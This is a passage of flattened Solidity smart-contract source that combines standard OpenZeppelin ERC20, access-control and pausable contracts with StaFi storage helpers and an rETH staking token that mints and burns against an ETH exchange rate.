function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
contract ERC20PresetMinterPauser is Context, AccessControl, ERC20Burnable, ERC20Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(string memory name, string memory symbol) public ERC20(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
interface IRETHToken {
function getEthValue(uint256 _rethAmount) external view returns (uint256);
function getRethValue(uint256 _ethAmount) external view returns (uint256);
function getExchangeRate() external view returns (uint256);
function getTotalCollateral() external view returns (uint256);
function getCollateralRate() external view returns (uint256);
function depositRewards() external payable;
function depositExcess() external payable;
function userMint(uint256 _ethAmount, address _to) external;
function userBurn(uint256 _rethAmount) external;
}
interface IStafiNetworkBalances {
function getBalancesBlock() external view returns (uint256);
function getTotalETHBalance() external view returns (uint256);
function getStakingETHBalance() external view returns (uint256);
function getTotalRETHSupply() external view returns (uint256);
function getETHStakingRate() external view returns (uint256);
function submitBalances(uint256 _block, uint256 _total, uint256 _staking, uint256 _rethSupply) external;
}
interface IStafiUserDeposit {
function getBalance() external view returns (uint256);
function getExcessBalance() external view returns (uint256);
function deposit() external payable;
function recycleDissolvedDeposit() external payable;
function recycleWithdrawnDeposit() external payable;
function assignDeposits() external;
function withdrawExcessBalance(uint256 _amount) external;
}
interface IStafiStorage {
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
abstract contract StafiBase {
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
IStafiStorage stafiStorage = IStafiStorage(0);
/**
* @dev Throws if called by any sender that doesn't match a network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.trusted", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered staking pool
*/
modifier onlyRegisteredStakingPool(address _stakingPoolAddress) {
require(getBool(keccak256(abi.encodePacked("stakingpool.exists", _stakingPoolAddress))), "Invalid staking pool");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(roleHas("owner", msg.sender), "Account is not the owner");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlyAdmin() {
require(roleHas("admin", msg.sender), "Account is not an admin");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlySuperUser() {
require(roleHas("owner", msg.sender) || roleHas("admin", msg.sender), "Account is not a super user");
_;
}
/**
* @dev Reverts if the address doesn't have this role
*/
modifier onlyRole(string memory _role) {
require(roleHas(_role, msg.sender), "Account does not match the specified role");
_;
}
/// @dev Set the main Storage address
constructor(address _stafiStorageAddress) public {
// Update the contract address
stafiStorage = IStafiStorage(_stafiStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(keccak256(abi.encodePacked(contractName)) != keccak256(abi.encodePacked("")), "Contract not found");
// Return
return contractName;
}
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return stafiStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint256) { return stafiStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return stafiStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return stafiStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return stafiStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int256) { return stafiStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return stafiStorage.getBytes32(_key); }
function getAddressS(string memory _key) internal view returns (address) { return stafiStorage.getAddress(keccak256(abi.encodePacked(_key))); }
function getUintS(string memory _key) internal view returns (uint256) { return stafiStorage.getUint(keccak256(abi.encodePacked(_key))); }
function getStringS(string memory _key) internal view returns (string memory) { return stafiStorage.getString(keccak256(abi.encodePacked(_key))); }
function getBytesS(string memory _key) internal view returns (bytes memory) { return stafiStorage.getBytes(keccak256(abi.encodePacked(_key))); }
function getBoolS(string memory _key) internal view returns (bool) { return stafiStorage.getBool(keccak256(abi.encodePacked(_key))); }
function getIntS(string memory _key) internal view returns (int256) { return stafiStorage.getInt(keccak256(abi.encodePacked(_key))); }
function getBytes32S(string memory _key) internal view returns (bytes32) { return stafiStorage.getBytes32(keccak256(abi.encodePacked(_key))); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { stafiStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint256 _value) internal { stafiStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { stafiStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { stafiStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { stafiStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int256 _value) internal { stafiStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { stafiStorage.setBytes32(_key, _value); }
function setAddressS(string memory _key, address _value) internal { stafiStorage.setAddress(keccak256(abi.encodePacked(_key)), _value); }
function setUintS(string memory _key, uint256 _value) internal { stafiStorage.setUint(keccak256(abi.encodePacked(_key)), _value); }
function setStringS(string memory _key, string memory _value) internal { stafiStorage.setString(keccak256(abi.encodePacked(_key)), _value); }
function setBytesS(string memory _key, bytes memory _value) internal { stafiStorage.setBytes(keccak256(abi.encodePacked(_key)), _value); }
function setBoolS(string memory _key, bool _value) internal { stafiStorage.setBool(keccak256(abi.encodePacked(_key)), _value); }
function setIntS(string memory _key, int256 _value) internal { stafiStorage.setInt(keccak256(abi.encodePacked(_key)), _value); }
function setBytes32S(string memory _key, bytes32 _value) internal { stafiStorage.setBytes32(keccak256(abi.encodePacked(_key)), _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { stafiStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { stafiStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { stafiStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { stafiStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { stafiStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { stafiStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { stafiStorage.deleteBytes32(_key); }
function deleteAddressS(string memory _key) internal { stafiStorage.deleteAddress(keccak256(abi.encodePacked(_key))); }
function deleteUintS(string memory _key) internal { stafiStorage.deleteUint(keccak256(abi.encodePacked(_key))); }
function deleteStringS(string memory _key) internal { stafiStorage.deleteString(keccak256(abi.encodePacked(_key))); }
function deleteBytesS(string memory _key) internal { stafiStorage.deleteBytes(keccak256(abi.encodePacked(_key))); }
function deleteBoolS(string memory _key) internal { stafiStorage.deleteBool(keccak256(abi.encodePacked(_key))); }
function deleteIntS(string memory _key) internal { stafiStorage.deleteInt(keccak256(abi.encodePacked(_key))); }
function deleteBytes32S(string memory _key) internal { stafiStorage.deleteBytes32(keccak256(abi.encodePacked(_key))); }
/**
* @dev Check if an address has this role
*/
function roleHas(string memory _role, address _address) internal view returns (bool) {
return getBool(keccak256(abi.encodePacked("access.role", _role, _address)));
}
}
// rETH is backed by ETH (subject to liquidity) at a variable exchange rate
contract RETHToken is StafiBase, ERC20PresetMinterPauser, IRETHToken {
// Libs
using SafeMath for uint256;
// Events
event EtherDeposited(address indexed from, uint256 amount, uint256 time);
event TokensMinted(address indexed to, uint256 amount, uint256 ethAmount, uint256 time);
event TokensBurned(address indexed from, uint256 amount, uint256 ethAmount, uint256 time);
// Construct
constructor(address _stafiStorageAddress) StafiBase(_stafiStorageAddress) ERC20PresetMinterPauser("StaFi", "rETH") public {
version = 1;
// Migrate from the old contract to the new contract
_mint(address(0xB61959B37AADFF714Af150580559858483459b8E), 24132334000000000000);
_mint(address(0xa7DeBb68F2684074Ec4354B68E36C34AF363Fd57), 1500000000000000000);
_mint(address(0xBABf7e6b5bcE0BD749FD3C527374bEf8919cC7A9), 10000000000000000);
}
// Calculate the amount of ETH backing an amount of rETH
function getEthValue(uint256 _rethAmount) override public view returns (uint256) {
// Get network balances
IStafiNetworkBalances stafiNetworkBalances = IStafiNetworkBalances(getContractAddress("stafiNetworkBalances"));
uint256 totalEthBalance = stafiNetworkBalances.getTotalETHBalance();
uint256 rethSupply = stafiNetworkBalances.getTotalRETHSupply();
// Use 1:1 ratio if no rETH is minted
if (rethSupply == 0) { return _rethAmount; }
// Calculate and return
return _rethAmount.mul(totalEthBalance).div(rethSupply);
}
// Calculate the amount of rETH backed by an amount of ETH
function getRethValue(uint256 _ethAmount) override public view returns (uint256) {
// Get network balances
IStafiNetworkBalances stafiNetworkBalances = IStafiNetworkBalances(getContractAddress("stafiNetworkBalances"));
uint256 totalEthBalance = stafiNetworkBalances.getTotalETHBalance();
uint256 rethSupply = stafiNetworkBalances.getTotalRETHSupply();
// Use 1:1 ratio if no rETH is minted
if (rethSupply == 0) { return _ethAmount; }
// Check network ETH balance
require(totalEthBalance > 0, "Cannot calculate rETH token amount while total network balance is zero");
// Calculate and return
return _ethAmount.mul(rethSupply).div(totalEthBalance);
}
// Get the current ETH : rETH exchange rate
// Returns the amount of ETH backing 1 rETH
function getExchangeRate() override public view returns (uint256) {
return getEthValue(1 ether);
}
// Get the total amount of collateral available
// Includes rETH contract balance & excess deposit pool balance
function getTotalCollateral() override public view returns (uint256) {
IStafiUserDeposit stafiUserDeposit = IStafiUserDeposit(getContractAddress("stafiUserDeposit"));
return stafiUserDeposit.getExcessBalance().add(address(this).balance);
}
// Get the current ETH collateral rate
// Returns the portion of rETH backed by ETH in the contract as a fraction of 1 ether
function getCollateralRate() override public view returns (uint256) {
uint256 calcBase = 1 ether;
uint256 totalEthValue = getEthValue(totalSupply());
if (totalEthValue == 0) { return calcBase; }
return calcBase.mul(address(this).balance).div(totalEthValue);
}
// Deposit ETH rewards
// Only accepts calls from the StafiNetworkWithdrawal contract
function depositRewards() override external payable onlyLatestContract("stafiNetworkWithdrawal", msg.sender) {
// Emit ether deposited event
emit EtherDeposited(msg.sender, msg.value, now);
}
// Deposit excess ETH from deposit pool
// Only accepts calls from the StafiUserDeposit contract
function depositExcess() override external payable onlyLatestContract("stafiUserDeposit", msg.sender) {
// Emit ether deposited event
emit EtherDeposited(msg.sender, msg.value, now);
}
// Mint rETH
// Only accepts calls from the StafiUserDeposit contract
function userMint(uint256 _ethAmount, address _to) override external onlyLatestContract("stafiUserDeposit", msg.sender) {
// Get rETH amount
uint256 rethAmount = getRethValue(_ethAmount);
// Check rETH amount
require(rethAmount > 0, "Invalid token mint amount");
// Update balance & supply
_mint(_to, rethAmount);
// Emit tokens minted event
emit TokensMinted(_to, rethAmount, _ethAmount, now);
}
// Burn rETH for ETH
function userBurn(uint256 _rethAmount) override external {
// Check deposit settings
require(getBurnEnabled(), "Burn is currently disabled");
// Check rETH amount
require(_rethAmount > 0, "Invalid token burn amount");
require(balanceOf(msg.sender) >= _rethAmount, "Insufficient rETH balance");
// Get ETH amount
uint256 ethAmount = getEthValue(_rethAmount);
// Get & check ETH balance
uint256 ethBalance = getTotalCollateral();
require(ethBalance >= ethAmount, "Insufficient ETH balance for exchange");
// Update balance & supply
_burn(msg.sender, _rethAmount);
// Withdraw ETH from deposit pool if required
withdrawDepositCollateral(ethAmount);
// Transfer ETH to sender
msg.sender.transfer(ethAmount);
// Emit tokens burned event
emit TokensBurned(msg.sender, _rethAmount, ethAmount, now);
}
// Withdraw ETH from the deposit pool for collateral if required
function withdrawDepositCollateral(uint256 _ethRequired) private {
// Check rETH contract balance
uint256 ethBalance = address(this).balance;
if (ethBalance >= _ethRequired) { return; }
// Withdraw
IStafiUserDeposit stafiUserDeposit = IStafiUserDeposit(getContractAddress("stafiUserDeposit"));
stafiUserDeposit.withdrawExcessBalance(_ethRequired.sub(ethBalance));
}
